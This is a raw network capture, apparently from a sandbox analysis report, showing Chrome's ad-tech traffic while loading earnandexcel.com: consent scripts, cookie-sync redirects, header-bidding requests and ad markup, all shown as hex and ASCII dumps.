2024-04-11 21:27:05 UTC	16384	IN	Data Raw: 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 74 3d 74 68 69 73 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 63 68 65 63 6b 56 65 6e 64 6f 72 43 6f 6e 73 65 6e 74 28 29 26 26 5b 31 2c 32 2c 33 2c 34 2c 37 2c 39 2c 31 30 5d 2e 65 76 65 72 79 28 28 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 72 65 74 75 72 6e 20 74 2e 70 75 72 70 6f 73 65 43 6f 6e 73 65 6e 74 28 6e 29 7d 29 29 7d 2c 6e 7d 28 55 74 29 2c 4c 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 75 6e 63 74 69 6f 6e 20 6e 28 29 7b 76 61 72 20 6e 3d 6e 75 6c 6c 21 3d 3d 74 26 26 74 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7c 7c 74 68 69 73 3b 72 65 74 75 72 6e 20 6e 2e 64 65 76 69 63 65 41 63 63 65 73 73 52 65 73 74 72 69 63 74 65 64 3d 21 30 2c 6e 7d 72 65 74 75 72 6e 20 46 74 28 Data Ascii: ent=function(){var t=this;return this.checkVendorConsent()&&[1,2,3,4,7,9,10].every((function(n){return t.purposeConsent(n)}))},n}(Ut),Lt=function(t){function n(){var n=null!==t&&t.apply(this,arguments)\|\|this;return n.deviceAccessRestricted=!0,n}return Ft(
2024-04-11 21:27:05 UTC	2662	IN	Data Raw: 5b 31 5d 3e 6f 5b 30 5d 26 26 69 5b 31 5d 3c 6f 5b 33 5d 29 29 7b 61 2e 6c 61 62 65 6c 3d 69 5b 31 5d 3b 62 72 65 61 6b 7d 69 66 28 36 3d 3d 3d 69 5b 30 5d 26 26 61 2e 6c 61 62 65 6c 3c 6f 5b 31 5d 29 7b 61 2e 6c 61 62 65 6c 3d 6f 5b 31 5d 2c 6f 3d 69 3b 62 72 65 61 6b 7d 69 66 28 6f 26 26 61 2e 6c 61 62 65 6c 3c 6f 5b 32 5d 29 7b 61 2e 6c 61 62 65 6c 3d 6f 5b 32 5d 2c 61 2e 6f 70 73 2e 70 75 73 68 28 69 29 3b 62 72 65 61 6b 7d 6f 5b 32 5d 26 26 61 2e 6f 70 73 2e 70 6f 70 28 29 2c 61 2e 74 72 79 73 2e 70 6f 70 28 29 3b 63 6f 6e 74 69 6e 75 65 7d 69 3d 6e 2e 63 61 6c 6c 28 74 2c 61 29 7d 63 61 74 63 68 28 74 29 7b 69 3d 5b 36 2c 74 5d 2c 72 3d 30 7d 66 69 6e 61 6c 6c 79 7b 65 3d 6f 3d 30 7d 69 66 28 35 26 69 5b 30 5d 29 74 68 72 6f 77 20 69 5b 31 5d 3b 72 Data Ascii: [1]>o[0]&&i[1]<o[3])){a.label=i[1];break}if(6===i[0]&&a.label<o[1]){a.label=o[1],o=i;break}if(o&&a.label<o[2]){a.label=o[2],a.ops.push(i);break}o[2]&&a.ops.pop(),a.trys.pop();continue}i=n.call(t,a)}catch(t){i=[6,t],r=0}finally{e=o=0}if(5&i[0])throw i[1];r

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
508	192.168.2.17	50324	82.145.213.8	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	624	OUT	GET /pub/sync?pubid=pub10014056052800&gdpr=0&gdpr_consent= HTTP/1.1 Host: t.adx.opera.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ce.lijit.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	766	IN	HTTP/1.1 302 Found Server: Tengine Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: text/html; charset=utf-8 Content-Length: 131 Connection: close Access-Control-Allow-Credentials: true Access-Control-Allow-Headers: Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization, accept, origin, Cache-Control, X-Requested-With Access-Control-Allow-Methods: POST, GET Access-Control-Allow-Origin: * Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 01 Jan 1990 00:00:00 GMT Location: https://ce.lijit.com/merge?3pid=OPUc07649b3c185472a86453f2ba9a61d55&gdpr=0&gdpr_consent=&pid=103 Pragma: no-cache Set-Cookie: UID=OPUc07649b3c185472a86453f2ba9a61d55; Path=/; Domain=adx.opera.com; Max-Age=31536000; Secure; SameSite=None
2024-04-11 21:27:05 UTC	131	IN	Data Raw: 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 63 65 2e 6c 69 6a 69 74 2e 63 6f 6d 2f 6d 65 72 67 65 3f 33 70 69 64 3d 4f 50 55 63 30 37 36 34 39 62 33 63 31 38 35 34 37 32 61 38 36 34 35 33 66 32 62 61 39 61 36 31 64 35 35 26 61 6d 70 3b 67 64 70 72 3d 30 26 61 6d 70 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 61 6d 70 3b 70 69 64 3d 31 30 33 22 3e 46 6f 75 6e 64 3c 2f 61 3e 2e 0a 0a Data Ascii: <a href="https://ce.lijit.com/merge?3pid=OPUc07649b3c185472a86453f2ba9a61d55&gdpr=0&gdpr_consent=&pid=103">Found</a>.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
509	192.168.2.17	50310	3.211.252.87	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	1198	OUT	POST /bidRequest/?s2sVersion=production HTTP/1.1 Host: exchange.mediavine.com Connection: keep-alive Content-Length: 8850 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 content-type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: mv_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; mv_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D; am_tokens_invalidate-verizon-pushes=%7B%22mv_uuid%22%3A%223a6574e0-f84a-11ee-a9d1-333cefc92741%22%2C%22version%22%3A%22invalidate-verizon-pushes%22%7D
2024-04-11 21:27:05 UTC	8850	OUT	Data Raw: 7b 22 63 6f 6e 6e 65 63 74 49 64 22 3a 22 22 2c 22 63 61 74 65 67 6f 72 69 65 73 22 3a 5b 7b 22 73 6c 75 67 22 3a 22 68 6f 62 62 69 65 73 2d 61 6e 64 2d 69 6e 74 65 72 65 73 74 73 22 2c 22 74 69 74 6c 65 22 3a 22 48 6f 62 62 69 65 73 20 26 20 49 6e 74 65 72 65 73 74 73 22 2c 22 69 61 62 43 6f 64 65 22 3a 22 49 41 42 39 22 7d 5d 2c 22 64 65 76 69 63 65 22 3a 7b 22 6f 73 22 3a 22 57 69 6e 64 6f 77 73 22 2c 22 6f 73 76 22 3a 22 4e 54 20 31 30 2e 30 22 2c 22 64 6e 74 22 3a 30 2c 22 68 22 3a 31 30 32 34 2c 22 77 22 3a 31 32 38 30 2c 22 75 61 22 3a 22 4d 6f 7a 69 6c 6c 61 2f 35 2e 30 20 28 57 69 6e 64 6f 77 73 20 4e 54 20 31 30 2e 30 3b 20 57 69 6e 36 34 3b 20 78 36 34 29 20 41 70 70 6c 65 57 65 62 4b 69 74 2f 35 33 37 2e 33 36 20 28 4b 48 54 4d 4c 2c 20 6c 69 Data Ascii: {"connectId":"","categories":[{"slug":"hobbies-and-interests","title":"Hobbies & Interests","iabCode":"IAB9"}],"device":{"os":"Windows","osv":"NT 10.0","dnt":0,"h":1024,"w":1280,"ua":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, li
2024-04-11 21:27:06 UTC	301	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:27:06 GMT Content-Type: application/json; charset=utf-8 Content-Length: 102924 Connection: close Access-Control-Allow-Origin: https://earnandexcel.com Vary: Origin, Accept-Encoding Access-Control-Allow-Credentials: true Observe-Browsing-Topics: ?1
2024-04-11 21:27:06 UTC	16083	IN	Data Raw: 5b 7b 22 69 64 22 3a 22 33 65 63 66 61 33 63 62 33 31 64 63 37 64 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 7b 22 62 69 64 22 3a 5b 7b 22 69 64 22 3a 22 33 35 31 34 39 33 34 33 34 33 33 37 34 33 39 37 36 33 37 5f 34 39 33 30 39 34 31 32 30 34 34 30 35 34 37 37 38 37 39 22 2c 22 69 6d 70 69 64 22 3a 22 33 65 63 66 61 33 63 62 33 31 64 63 37 64 22 2c 22 70 72 69 63 65 22 3a 30 2e 38 36 36 38 34 34 2c 22 61 64 6d 22 3a 22 3c 73 63 72 69 70 74 20 74 79 70 65 3d 5c 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 5c 22 3e 20 6c 65 74 20 70 61 72 65 6e 74 57 69 6e 64 6f 77 41 6d 70 43 6f 6e 74 65 78 74 44 61 74 61 20 3d 20 27 27 3b 20 6c 65 74 20 70 61 72 65 6e 74 57 69 6e 64 6f 77 53 61 66 65 66 72 61 6d 65 20 3d 20 27 27 3b 20 6c 65 74 20 70 61 72 65 6e 74 57 69 Data Ascii: [{"id":"3ecfa3cb31dc7d","seatbid":[{"bid":[{"id":"3514934343374397637_4930941204405477879","impid":"3ecfa3cb31dc7d","price":0.866844,"adm":"<script type=\"text/javascript\"> let parentWindowAmpContextData = ''; let parentWindowSafeframe = ''; let parentWi
2024-04-11 21:27:06 UTC	1485	IN	Data Raw: 72 6f 75 6e 64 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 68 65 69 67 68 74 3a 20 31 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 77 69 64 74 68 20 31 36 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 30 3b 20 72 69 67 68 74 3a 20 30 3b 5c 22 73 72 63 64 6f 63 3d 5c 22 26 6c 74 3b 73 74 79 6c 65 26 67 74 3b 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 3b 20 70 61 64 64 69 6e 67 3a 30 3b 20 62 61 63 6b 67 72 6f 75 6e 64 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 7d 26 6c 74 3b 2f 73 74 79 6c 65 26 67 74 3b 26 6c 74 3b 61 20 73 74 79 6c 65 3d 26 71 75 6f 74 3b 6c 65 66 74 3a 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 20 74 65 78 74 2d Data Ascii: round: transparent !important; height: 16px !important;width 16px !important; position: absolute; top: 0; right: 0;\"srcdoc=\"<style>body{margin:0; padding:0; background:transparent;}</style><a style="left:0px; position:relative; text-
2024-04-11 21:27:06 UTC	16384	IN	Data Raw: 44 22 2c 22 62 69 64 64 65 72 22 3a 22 79 69 65 6c 64 6d 6f 22 2c 22 68 61 73 56 61 6c 69 64 42 69 64 73 22 3a 74 72 75 65 2c 22 6d 65 64 69 61 54 79 70 65 22 3a 22 62 61 6e 6e 65 72 22 7d 2c 7b 22 69 64 22 3a 22 32 64 38 35 66 36 63 61 36 62 36 64 34 65 22 2c 22 73 65 61 74 62 69 64 22 3a 5b 7b 22 62 69 64 22 3a 5b 7b 22 69 64 22 3a 22 36 22 2c 22 69 6d 70 69 64 22 3a 22 32 64 38 35 66 36 63 61 36 62 36 64 34 65 22 2c 22 70 72 69 63 65 22 3a 32 2e 31 34 31 33 34 37 34 32 38 2c 22 61 64 6d 22 3a 22 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 5c 22 31 2e 30 5c 22 20 65 6e 63 6f 64 69 6e 67 3d 5c 22 55 54 46 2d 38 5c 22 3f 3e 5c 6e 3c 56 41 53 54 20 78 6d 6c 6e 73 3a 78 73 69 3d 5c 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 31 2f 58 Data Ascii: D","bidder":"yieldmo","hasValidBids":true,"mediaType":"banner"},{"id":"2d85f6ca6b6d4e","seatbid":[{"bid":[{"id":"6","impid":"2d85f6ca6b6d4e","price":2.141347428,"adm":"<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<VAST xmlns:xsi=\"https://www.w3.org/2001/X
2024-04-11 21:27:06 UTC	16384	IN	Data Raw: 63 26 67 74 3d 55 53 26 70 63 3d 31 35 37 34 33 32 31 26 63 72 3d 37 31 35 39 33 31 30 5d 5d 3e 3c 2f 49 6d 70 72 65 73 73 69 6f 6e 3e 3c 49 6d 70 72 65 73 73 69 6f 6e 3e 3c 21 5b 43 44 41 54 41 5b 68 74 74 70 73 3a 2f 2f 70 72 6f 64 2d 6d 2d 6e 6f 64 65 2d 31 31 31 33 2e 73 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 61 64 6d 61 78 2f 61 64 45 76 65 6e 74 2e 64 6f 3f 74 69 64 69 3d 37 37 30 39 33 38 35 32 38 26 64 63 6e 3d 38 61 39 36 39 38 66 35 30 31 37 62 37 62 63 62 62 32 35 64 64 30 37 62 30 61 65 35 30 30 36 32 26 70 6f 73 69 3d 31 35 37 34 33 32 31 26 67 72 70 3d 25 33 46 25 33 46 25 33 46 26 6e 6c 3d 31 37 31 32 38 37 30 38 32 35 39 38 32 26 72 74 73 3d 31 37 31 32 38 37 30 38 32 35 38 39 34 26 70 69 78 3d 31 26 65 74 3d 31 26 61 3d 32 64 38 35 66 36 Data Ascii: c&gt=US&pc=1574321&cr=7159310...</Impression><Impression><![CDATA[https://prod-m-node-1113.ssp.yahoo.com/admax/adEvent.do?tidi=770938528&dcn=8a9698f5017b7bcbb25dd07b0ae50062&posi=1574321&grp=%3F%3F%3F&nl=1712870825982&rts=1712870825894&pix=1&et=1&a=2d85f6
2024-04-11 21:27:06 UTC	16384	IN	Data Raw: 7a 70 55 30 73 30 35 4c 68 64 4d 48 62 6c 50 30 75 68 53 6d 39 61 63 53 48 71 42 6c 57 4b 55 54 35 2d 59 64 75 4d 6e 34 49 55 52 46 6d 68 49 34 67 65 63 41 58 7a 54 70 32 66 79 54 2d 4d 6d 77 4b 68 4e 68 31 67 69 5f 73 77 72 51 75 70 74 71 59 69 67 62 7a 56 38 38 62 54 39 4a 73 42 4a 42 6c 75 51 42 34 4f 76 77 4a 68 30 63 4e 54 33 73 72 70 6e 37 33 52 6e 41 43 45 32 2d 6a 73 4f 47 57 56 72 6c 46 6c 55 4f 65 79 4c 76 37 4f 58 38 75 4d 64 5a 5f 4a 5f 50 33 57 4f 7a 4d 49 55 56 30 55 38 54 75 41 2d 48 52 53 4b 38 37 6c 42 34 4f 57 6d 64 61 63 55 35 52 69 53 6e 63 4f 65 53 32 42 48 53 5a 43 74 78 55 4b 4d 65 55 4e 6f 5f 4e 50 57 39 76 47 76 78 38 42 4d 58 58 6f 75 33 48 33 6e 79 4e 79 68 64 30 48 53 6e 4a 33 47 4c 61 31 39 35 41 62 76 34 52 51 5a 4f 6e 49 70 Data Ascii: zpU0s05LhdMHblP0uhSm9acSHqBlWKUT5-YduMn4IURFmhI4gecAXzTp2fyT-MmwKhNh1gi_swrQuptqYigbzV88bT9JsBJBluQB4OvwJh0cNT3srpn73RnACE2-jsOGWVrlFlUOeyLv7OX8uMdZ_J_P3WOzMIUV0U8TuA-HRSK87lB4OWmdacU5RiSncOeS2BHSZCtxUKMeUNo_NPW9vGvx8BMXXou3H3nyNyhd0HSnJ3GLa195Abv4RQZOnIp
2024-04-11 21:27:06 UTC	16384	IN	Data Raw: 65 2f 70 69 78 65 6c 3f 64 3d 43 4c 71 6c 6b 77 45 51 73 5a 47 55 41 52 6a 42 34 74 53 44 41 6a 41 42 26 76 3d 41 50 45 75 63 4e 56 50 49 48 39 51 2d 52 42 54 4a 39 71 41 59 55 64 55 39 6f 55 53 52 5f 41 4b 50 44 50 47 79 59 4d 71 7a 43 4a 4e 79 36 50 37 61 51 46 76 6a 64 57 45 39 53 34 49 42 53 41 31 7a 5f 5a 6d 4c 42 78 4d 56 48 71 6b 5f 71 6a 48 53 53 69 45 43 5a 7a 77 62 7a 5f 75 67 46 2d 78 32 51 5c 22 20 73 74 79 6c 65 3d 5c 22 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 5c 22 20 61 72 69 61 2d 68 69 64 64 65 6e 3d 5c 22 74 72 75 65 5c 22 3e 3c 2f 69 66 72 61 6d 65 3e 3c 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 5c 22 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 5c 22 3e 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 20 7b 76 61 72 20 Data Ascii: e/pixel?d=CLqlkwEQsZGUARjB4tSDAjAB&v=APEucNVPIH9Q-RBTJ9qAYUdU9oUSR_AKPDPGyYMqzCJNy6P7aQFvjdWE9S4IBSA1z_ZmLBxMVHqk_qjHSSiECZzwbz_ugF-x2Q\" style=\"display:none\" aria-hidden=\"true\"></iframe><div><div style=\"position:absolute;\"><script>(function() {var
2024-04-11 21:27:06 UTC	16384	IN	Data Raw: 68 61 69 41 6d 36 44 43 5f 46 61 61 7a 45 4f 49 61 4e 65 4f 63 65 59 2d 37 4b 6c 56 36 43 67 6a 6f 74 55 36 4e 6a 47 41 35 70 77 52 68 76 74 50 35 42 4b 67 73 74 30 55 4d 38 35 71 48 38 42 34 33 59 55 4c 69 33 58 6c 74 58 53 75 41 36 6a 45 66 5f 48 4b 46 6a 56 64 34 67 2d 38 51 44 59 66 44 65 4f 63 35 6c 4f 63 59 2d 72 4e 41 4e 52 6f 66 4e 38 71 6f 74 5a 6d 79 41 65 63 5f 53 59 2d 6e 2d 37 6c 4d 36 48 58 30 4e 54 58 71 46 78 32 65 62 67 30 52 57 33 68 37 76 51 30 50 74 42 53 42 73 4c 6f 68 54 38 44 78 4f 52 38 4b 33 64 37 4c 56 33 41 4a 6e 77 56 53 43 33 4b 7a 6e 35 41 42 34 37 56 50 30 63 4b 75 2d 69 30 58 44 43 76 36 62 48 79 72 74 55 34 77 49 42 6b 55 50 6a 36 31 78 70 72 59 52 69 63 70 65 75 51 79 65 6c 6f 76 64 63 4f 77 45 39 4b 39 72 6e 64 44 71 43 Data Ascii: haiAm6DC_FaazEOIaNeOceY-7KlV6CgjotU6NjGA5pwRhvtP5BKgst0UM85qH8B43YULi3XltXSuA6jEf_HKFjVd4g-8QDYfDeOc5lOcY-rNANRofN8qotZmyAec_SY-n-7lM6HX0NTXqFx2ebg0RW3h7vQ0PtBSBsLohT8DxOR8K3d7LV3AJnwVSC3Kzn5AB47VP0cKu-i0XDCv6bHyrtU4wIBkUPj61xprYRicpeuQyelovdcOwE9K9rndDqC
2024-04-11 21:27:06 UTC	3436	IN	Data Raw: 63 41 44 52 56 4c 58 70 5a 46 4a 67 31 71 4c 73 6a 47 71 35 31 56 32 66 48 6a 59 58 67 2d 43 6b 33 52 38 47 62 69 43 6b 72 70 43 5f 5f 5f 5f 73 70 42 37 56 45 39 59 73 63 41 7a 55 6c 6b 6d 6a 5a 43 52 79 74 77 66 54 73 79 51 72 33 49 69 33 52 6e 4e 38 56 57 63 4a 74 41 32 74 6d 49 30 38 6b 78 68 78 38 64 6d 55 73 6e 33 6d 75 39 53 31 57 4e 4e 78 49 50 6a 44 43 2d 77 4b 78 72 39 6e 6f 6a 78 58 6d 4c 43 57 67 4d 70 37 45 72 52 42 6f 5a 4c 62 47 4e 6a 62 57 53 33 74 6a 66 37 76 31 67 6a 62 75 44 35 4b 6b 74 33 32 62 77 54 6d 71 34 4e 50 65 73 41 45 6a 49 37 54 30 64 6b 45 34 41 51 44 69 41 57 32 76 49 54 4e 54 70 49 46 42 41 67 44 47 41 69 53 42 51 59 49 47 78 41 43 47 41 47 53 42 51 73 49 49 68 41 43 47 41 46 49 31 66 36 58 41 70 49 46 42 67 67 64 45 41 51 Data Ascii: cADRVLXpZFJg1qLsjGq51V2fHjYXg-Ck3R8GbiCkrpC____spB7VE9YscAzUlkmjZCRytwfTsyQr3Ii3RnN8VWcJtA2tmI08kxhx8dmUsn3mu9S1WNNxIPjDC-wKxr9nojxXmLCWgMp7ErRBoZLbGNjbWS3tjf7v1gjbuD5Kkt32bwTmq4NPesAEjI7T0dkE4AQDiAW2vITNTpIFBAgDGAiSBQYIGxACGAGSBQsIIhACGAFI1f6XApIFBggdEAQ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
510	192.168.2.17	50358	35.190.39.111	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	601	OUT	POST /encrypt HTTP/1.1 Host: esp.rtbhouse.com Connection: keep-alive Content-Length: 142 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain Accept: / Origin: https://earnandexcel.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:27:05 UTC	142	OUT	Data Raw: 7b 22 70 75 62 6c 69 73 68 65 72 5f 69 64 22 3a 22 72 74 62 68 6f 75 73 65 22 2c 22 73 69 67 6e 61 6c 22 3a 7b 22 64 6f 6d 61 69 6e 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 65 61 72 6e 61 6e 64 65 78 63 65 6c 2e 63 6f 6d 25 32 46 22 2c 22 45 49 44 22 3a 22 65 61 65 37 36 34 32 62 2d 33 65 66 30 2d 34 61 34 33 2d 38 31 64 64 2d 34 31 36 31 39 36 37 36 65 39 33 34 22 2c 22 74 6f 70 69 63 73 22 3a 22 5b 5d 22 7d 7d Data Ascii: {"publisher_id":"rtbhouse","signal":{"domain":"https%3A%2F%2Fearnandexcel.com%2F","EID":"eae7642b-3ef0-4a43-81dd-41619676e934","topics":"[]"}}
2024-04-11 21:27:06 UTC	452	IN	HTTP/1.1 200 OK access-control-allow-origin: * access-control-allow-credentials: true access-control-allow-methods: POST access-control-allow-headers: X-Requested-With content-type: application/json x-cloud-trace-context: c8131daabf9c1c6d832702d5452f1431 date: Thu, 11 Apr 2024 21:27:05 GMT server: Google Frontend Content-Length: 221 via: 1.1 google, 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 21:27:06 UTC	221	IN	Data Raw: 7b 22 73 74 61 74 75 73 22 3a 22 74 72 75 65 22 2c 22 6d 65 73 73 61 67 65 22 3a 22 4e 66 6a 48 50 36 65 71 6e 53 57 6c 63 6f 79 4c 71 4b 2f 46 48 70 64 6f 75 43 33 62 36 30 52 36 66 47 59 58 47 33 45 49 73 35 63 50 50 4d 67 37 44 4b 48 53 68 75 74 6b 44 72 34 58 5a 62 50 78 37 6e 70 73 54 57 6f 77 4c 36 4d 61 4e 48 63 77 56 75 69 62 44 78 44 57 52 2b 51 4f 42 74 6d 47 2f 65 33 33 56 47 43 45 47 77 74 39 53 35 6f 45 79 64 43 58 31 30 6b 48 71 41 6f 6c 59 4e 6c 61 46 70 35 48 41 79 61 59 2b 56 46 6e 42 62 44 66 4f 4d 64 51 52 59 65 62 41 4d 37 2f 71 43 58 5a 69 33 6c 30 4f 6e 4e 6a 4c 30 51 3d 22 2c 22 73 65 67 6d 65 6e 74 73 22 3a 22 31 2c 32 2c 33 22 7d Data Ascii: {"status":"true","message":"NfjHP6eqnSWlcoyLqK/FHpdouC3b60R6fGYXG3EIs5cPPMg7DKHShutkDr4XZbPx7npsTWowL6MaNHcwVuibDxDWR+QOBtmG/e33VGCEGwt9S5oEydCX10kHqAolYNlaFp5HAyaY+VFnBbDfOMdQRYebAM7/qCXZi3l0OnNjL0Q=","segments":"1,2,3"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
511	192.168.2.17	50364	52.46.128.147	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:27:05 UTC	441	OUT	GET /x/ae12848777b41970a5f2?gdpr=0&gdpr_consent= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-privacy=0; ad-id=A2D_XDx3tU5MhPWHEz8pwhw
2024-04-11 21:27:05 UTC	827	IN	HTTP/1.1 200 OK Server: Server Date: Thu, 11 Apr 2024 21:27:05 GMT Content-Type: text/html;charset=ISO-8859-1 Content-Length: 291 Connection: close x-amz-rid: GA624ZX3YP7HXB3GRXA3 Set-Cookie: ad-id=A2D_XDx3tU5MhPWHEz8pwhw; Domain=.amazon-adsystem.com; Expires=Wed, 01-Jan-2025 21:27:05 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Jul-2029 21:27:05 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-04-11 21:27:05 UTC	291	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 22 3e 0a 3c 69 66 72 61 6d 65 20 77 69 64 74 68 3d 22 31 22 20 68 65 69 67 68 74 3d 22 31 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 6d 61 72 67 69 6e 77 69 64 74 68 3d 22 30 22 20 6d 61 72 67 69 6e 68 65 69 67 68 74 3d 22 30 22 20 73 72 63 3d 22 2f 2f 73 2e 61 6d 61 7a 6f 6e 2d 61 64 73 79 73 74 65 6d 2e 63 6f 6d 2f 76 33 2f 70 72 3f 65 78 6c 69 73 74 3d 73 6f 76 72 6e 26 66 76 3d 31 2e 30 26 61 3d 63 6d 26 63 6d 33 70 70 64 3d 31 26 64 6d 74 3d 33 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 67 64 70 72 3d 30 22 20 73 61 6e 64 62 6f 78 3d 22 61 6c 6c 6f 77 2d 73 61 6d 65 2d 6f 72 69 67 69 6e 20 61 6c 6c Data Ascii: <html><body style="background-color:transparent"><iframe width="1" height="1" frameborder="0" marginwidth="0" marginheight="0" src="//s.amazon-adsystem.com/v3/pr?exlist=sovrn&fv=1.0&a=cm&cm3ppd=1&dmt=3&gdpr_consent=&gdpr=0" sandbox="allow-same-origin all

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
512	192.168.2.17	50378	34.36.216.150	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
